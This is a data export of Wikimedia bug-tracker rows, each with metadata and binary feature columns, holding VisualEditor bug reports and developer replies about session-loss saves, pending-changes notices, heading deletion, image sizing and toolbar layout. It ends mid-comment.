+247738,Share VisualEditor and Parsoid puppet module between Vagrant and Wikimedia Labs,"Yeah.  It's not integrated with the normal Wikitech interface, but my understanding is it gets the job done (I haven't really used Labs-Vagrant, but I have a general understanding how it works).",,,1408666032,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-w26cnf2uzn6whhzpd4p5,task_subcomment,,True,c1,3,True,,,59,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+247732,Share VisualEditor and Parsoid puppet module between Vagrant and Wikimedia Labs,Does ::role::labs::vagrant satisfy this request? Applying it via the wikitech interface provisions the labs host with a copy of MediaWiki-Vagrant and then the `labs-vagrant` command can be used to manipulate roles and run puppet.,,,1408597771,,PHID-USER-ll6tmaogat2b5q7tnqas,True,,,PHID-TASK-w26cnf2uzn6whhzpd4p5,task_subcomment,,True,c1,3,True,,,59,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+247727,Share VisualEditor and Parsoid puppet module between Vagrant and Wikimedia Labs,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.],,,1378939553,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-w26cnf2uzn6whhzpd4p5,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+53835,VisualEditor: Changing login status / losing session data during edit causes VE to break silently,"Edits that would trigger this error silently break VE:
+""Sorry! We could not process your edit due to a loss of session data.""
+
+On save, it shows animation indicating it is saving, but then does not save, leaving you in the editing screen.  It doesn't refresh to update your session data, so the edit will never succeed; and it doesn't show you the error message.
+
+To reproduce: start an edit, then logout, and try to complete; or v-v (and more common) start one as an anon, then log in.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374524640,1385395314.0,PHID-USER-fgzcdbj3je3ksnhufo47,False,,False,PHID-TASK-fgo5ntod4pt7hex3reuf,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+246479,VisualEditor: Changing login status / losing session data during edit causes VE to break silently,This was fixed some while ago as part of the save dialog re-write; sorry for the slow triage.,,,1385395314,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fgo5ntod4pt7hex3reuf,task_subcomment,,True,c1,3,True,,,21,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+53833,FlaggedRevs/PendingChanges notices not appearing at pl.wikipedia.org,"From https://pl.wikipedia.org/wiki/Wikipedia:VisualEditor/Opinie#Krytyczne_zaniedbanie_interfejsu:_wersje_przejrzane
+
+The Polish Wikipedia uses FlaggedRevisions or PendingChanges and has deployed both notices upon opening a page and a different text on the ""Save"" button to reduce confusion by new editors.  These notices are not appearing in VisualEditor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1374518520,1374645680.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-ibvdz6zkyuw2mud34vwr,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+246378,FlaggedRevs/PendingChanges notices not appearing at pl.wikipedia.org,"Yeah, this isn't good; we've actually just-about fixed it and will deploy it the morning (San Francisco time).
+
+*** This bug has been marked as a duplicate of bug 49699 ***",,,1374645680,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ibvdz6zkyuw2mud34vwr,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+246369,FlaggedRevs/PendingChanges notices not appearing at pl.wikipedia.org,"That's not the real issue.
+
+FlaggedRevs are enabled globally, for all pages, and *all non-autoreviewed edits require review before they are shown*; the only groups exempt from review are reviewers themselves and bots. (You can choose to view the so-called 'unstable' versions of pages instead of 'stable' ones in preferences.)
+
+Information about this is shown to viewers before, during and after editing (using the messages pointed out in the issue report WhatamIdoing linked) – but VE shows it in none of these contexts.
+
+I would consider this a blocker to deployment to anonymous users at least.",,,1374522496,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-ibvdz6zkyuw2mud34vwr,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,1,0
+53831,Long lines in <pre> blocks don't cause page formatting to extend right. The html page is extended massively further than needed,"Long <pre> blocks rendered in Firefox 22 on Xubuntu Linux. Monobook skin.
+
+When <pre> blocks contain lines longer than the width of the page, the <pre> block formatting finishes at the right edge of the page but the text continues. Shortly afterwards the page background finishes and the text continues onto a plain grey background. The html page though is rendered much wider than is needed to show all the text though (very approximately double the required width).
+
+Example page: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=565361164#save_page
+
+Firefox 22, Xubuntu Linux, Monobook skin.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11594}",Needs Triage,90.0,1374516900,1374526756.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-o6hvv37kdmfpbrbf7mjf,task_description,resolved,True,c1,3,False,False,True,3,,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,1
+246287,Long lines in <pre> blocks don't cause page formatting to extend right. The html page is extended massively further than needed,"
+
+*** This bug has been marked as a duplicate of bug 260 ***",,,1374526756,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-o6hvv37kdmfpbrbf7mjf,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+246282,Long lines in <pre> blocks don't cause page formatting to extend right. The html page is extended massively further than needed,"That really wouldn't surprise me, but I couldn't find anything when searching and nothing relevant popped up when I entered the summary. If it is a dupe then the other bug describes it using completely different words, probably describing the cause rather than the symptom.",,,1374518559,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-o6hvv37kdmfpbrbf7mjf,task_subcomment,,True,c1,3,False,,,3,,0,1,1,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0
+246276,Long lines in <pre> blocks don't cause page formatting to extend right. The html page is extended massively further than needed,This is surely a dupe of something.,,,1374517626,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-o6hvv37kdmfpbrbf7mjf,task_subcomment,,True,c1,3,True,,,3,,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53829,"Removing a heading is hard, leaving ==<nowiki/>== or turning the next paragraph into a heading","1. Visit any page on Wikipedia today.
+2. Click ""Edit"" to enter VisualEditor.
+3. Find a section heading and highlight it.
+4. Press the DEL key on your keyboard to delete it.
+5. Click ""Save Page"" then ""Review your changes.""
+
+The heading text has been removed, but the following wikitext has been left in its place.
+
+==<nowiki/>==
+
+Cancel the save, go back to the empty heading, and place your cursor in it. Press DEL in an attempt to delete the empty heading. As a result, the entire paragraph below the old heading turns into a heading.
+
+So how on earth do you delete a heading? I canceled my edit, re-edited, and this time, I highlighted the heading AND the first line of the paragraph beneath it, and pressed DEL. Regardless, the whole paragraph turned into a heading again.
+
+I finally managed to delete a heading by placing the cursor at the end of the preceding paragraph (after the last character of the paragraph) and dragging all the way to the end of the heading, then pressing DEL. Now, the heading was gone and nothing else turned into a heading.
+
+In short, you must delete some kind of invisible character on the LINE ABOVE the heading, in order to delete the heading. This is not expected behavior.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374514920,1374609807.0,PHID-USER-o5tv5cyrple4fn5xqopm,False,,False,PHID-TASK-veppenlnczvh4hbbxwsw,task_description,resolved,True,c1,3,False,False,True,3,,1,0,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+246183,"Removing a heading is hard, leaving ==<nowiki/>== or turning the next paragraph into a heading","
+
+*** This bug has been marked as a duplicate of bug 50100 ***",,,1374609807,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-veppenlnczvh4hbbxwsw,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53827,VisualEditor: Tooltip shown when hovering over a link should also appear when link inspector icon is shown,"At the English Wikipedia, a user requests that the tooltip which is shown when hovering over a link (shows the link target) also be shown when the link inspector icon is shown (i.e. when the cursor is in the middle of the link).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51824",Needs Triage,90.0,1374512940,1385392185.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-bsoljznx4zww5csa3zth,task_description,declined,True,c1,3,False,False,False,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+246062,VisualEditor: Tooltip shown when hovering over a link should also appear when link inspector icon is shown,"WONTFIX. Display of tooltips is native behaviour, and though we *can* over-ride the browser and do it instead when we think we know better, we shouldn't (because we'll always miss something).",,,1385392185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bsoljznx4zww5csa3zth,task_subcomment,,True,c1,3,True,,,21,,0,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0
+53826,VisualEditor renderizes the image a lot bigger than it should,"Screenshot from [[pt:TV TEM]]
+
+In the page
+https://pt.wikipedia.org/wiki/User:Helder.wiki/Testes?veaction=edit
+the image is a lot bigger than it is on view mode
+https://pt.wikipedia.org/wiki/User:Helder.wiki/Testes?action=edit&oldid=36476193&preview=yes
+
+
+This is a minimal example for the problem reported at
+https://pt.wikipedia.org/w/index.php?title=Wikip%C3%A9dia%3AEditor_Visual%2FComent%C3%A1rios&diff=36476052&oldid=36474378#Logo_desproporcional
+which can be seen on this article:
+https://pt.wikipedia.org/wiki/TV_TEM?veaction=edit#footer
+The screenshot provided was this:
+http://s22.postimg.org/owzuay0jl/image.jpg
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://pt.wikipedia.org/wiki/?oldid=36476128&veaction=edit
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51628
+
+**Attached**: {F11577}",Needs Triage,90.0,1374512940,1374548109.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-tvk7p5y33xg5evlkkbgh,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1
+246016,VisualEditor renderizes the image a lot bigger than it should,"
+
+*** This bug has been marked as a duplicate of bug 51628 ***",,,1374548109,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-tvk7p5y33xg5evlkkbgh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+246010,VisualEditor renderizes the image a lot bigger than it should,"Parsoid keeps the code as is:
+http://parsoid.wmflabs.org/_rt/pt/?oldid=36476193",,,1374513396,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-tvk7p5y33xg5evlkkbgh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+246005,VisualEditor renderizes the image a lot bigger than it should,"It seems to be caused by the extra ""px"" in the wikicode:
+[[Image:Globo TV logo.svg|25pxpx]]",,,1374513316,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-tvk7p5y33xg5evlkkbgh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+53820,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar","From English Wikipedia:
+
+I've noticed in several articles today that the article title has displayed, in VE, on top of the lower border of the editing header bar. I've not noticed it before. I prefer to edit in a window less wide than my laptop screen, as reading long lines of text is a pain.
+
+On investigation: if I reduce the editing window to the point where the Question mark in a circle to the left of BETA is underneath the greyed-out ""Decrease paragraph indentation"" icon, there's a critical point where reducing the window width a little more moves that Question-mark back slightly to the right and jumps the article title up to display on top of the lower border of the editing bar.
+
+And a second problem: if I reduce the width even more, then the article title is displayed in a very narrow column. Look at Sengattuppatti, reduce the width, and at a point where the lines of text are still perfectly workable (perhaps you're working from a text open in another window on the screen), the article title is reduced to the extent of losing letters. Reduce the window so that ""Tiruchirapalli"" is the first word of second line (that's about 50% of my screen width, and a likely width for consulting a source document on screen beside the WP page I'm working on), and note that the article title now displays minus its last four letters. Not wrapped, just disappeared. Ugly. In multi-word articles, it displays as a column but again truncates long words - try Thomas Lumley-Saunderson, 3rd Earl of Scarbrough.
+
+I'm using Firefox 22 on Vista. PamD 10:18, 22 July 2013 (UTC)
+
+She adds that the original screenshots (truncated to hide non-free elements) demonstrate that her windows were not unreasonably narrow and that she ""might well want to have two 50% width windows, one for the source and one for my article.""
+
+
+See images:
+*http://en.wikipedia.org/wiki/File:Screenshot_of_title_overlapping_border.jpg
+
+*http://en.wikipedia.org/wiki/File:Screenshot_of_truncated_title_word_in_narrow_window.jpg
+
+Original thread here:
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=565350848#Article_title_overlaps_header_bar_in_slightly_narrow_edit_window.3B_article_title_letters_lost_in_narrower_window
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52187
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51867",Needs Triage,90.0,1374511320,1394477948.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_description,resolved,True,c1,3,False,False,False,3,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+245692,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar","Thanks - as the editor who reported this bug in the first place. I didn't notice it had been fixed because AFAIK there was no report to say so, and I'm not using VE regularly until some other issues have been fixed to make it usable. (Glad to notice that there's some action on redlinks, but the dialog box hiding all article content is still the dealbreaker for me).",,,1394528224,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_subcomment,,True,c1,3,False,,,36,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+245689,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar",*** Bug 58933 has been marked as a duplicate of this bug. ***,,,1394503905,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245688,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar",This was fixed by Trevor in January.,,,1394477948,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245686,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar","Though I spent a lot of time reporting these, both these are cases of the system behaving oddly rather than things which seriously affect editing. I reported them more in the sense of ""The system is doing these odd things which I'm telling you about in case it's symptomatic of something significant you should know about"" rather than ""Please fix them now"".
+
+The first, that the title appears superimposed on the lower border of the editing toolbar area, is ugly, mildly disconcerting, and occurs at a very reasonable window width - I wasn't experimenting, just editing naturally this morning, when I found it happening. It's odd-looking, but does no serious harm.
+
+The second, that the title only displays in a column much narrower than the width of the displayed text, and that long title words are truncated at a certain point, only occurs on quite narrow windows but looks very odd when it does happen. It's not going to seriously hamper anyone's editing.
+
+I wouldn't like any effort to go into these bugs which could be used to address really important things like the {{Bug|49603}} on the invisibility of hidden comments and templates, or {{Bug|49969}} on dialog boxes hiding all article content: now those really do seriously affect editing.",,,1374519760,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_subcomment,,True,c1,3,False,,,3,,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+245683,"VisualEditor: When window is narrowed, article title can display over the top of the toolbar","Note I've been unable to reproduce this using Firefox 22 on Linux, so it might be OS-specific.",,,1374512088,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-4pnt5quh7n4hpe7ffu3t,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+53812,Transclusion editor: remove template creates blank dialog,"If the only template is removed, the dialog is almost entirely blank.  It should reset back to the 'New template' form, or do something with all that white space.
+
+Steps to reproduce:
+1. Open Transclusion dialog
+2. Add 'cite web'
+3. Remove 'cite web'
+
+Result:
+Stare at the whiteness
+
+Expected results:
+Something, anything, except a sea of white
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374498600,1374702151.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-2ub5t2oupkp4z4qo32ce,task_description,resolved,True,c1,3,False,False,True,3,,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+245198,Transclusion editor: remove template creates blank dialog,"
+
+*** This bug has been marked as a duplicate of bug 50281 ***",,,1374702151,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-2ub5t2oupkp4z4qo32ce,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+245193,Transclusion editor: remove template creates blank dialog,"Bug 50281 (which I think this duplicates) wins for mildly amusing title though - ""VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message""",,,1374701365,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-2ub5t2oupkp4z4qo32ce,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+245187,Transclusion editor: remove template creates blank dialog,"Creepy; I was about to submit this with the title ""VisualEditor: removing a template creates a blank dialog"" ;p.",,,1374696871,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-2ub5t2oupkp4z4qo32ce,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+53806,"VisualEditor shows rowspan=""4"" on template generated tables","Screenshot of the table
+
+See the link above and the attached screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://pt.wikipedia.org/wiki/La_Liga_de_2006%E2%80%9307?oldid=36362539&veaction=edit
+
+**Attached**: {F11541}",Needs Triage,90.0,1374495480,1375726508.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-4itryfnmayohwwozkuws,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244936,"VisualEditor shows rowspan=""4"" on template generated tables","Thanks for fixing the templates -- I will close this bug now without making any fixes in Parsoid.  While we could fix Parsoid to accommodate bugs in wikitext and templates (and there are several scenarios that we handle), for one-off scenarios, it is better to fix the templates/wikitext rather than clutter the Parsoid code base with exceptional conditions.  It is better in the long run and will enable maintenance of the code base.",,,1375726508,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,True,,,5,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+244933,"VisualEditor shows rowspan=""4"" on template generated tables","For now, I moved the relevant code from [[pt:Template:Tabfootrow]] to [[pt:Template:Tabfoot]] and then I updated the only two articles which uses that template and informed about this change in the talk page of one of them:
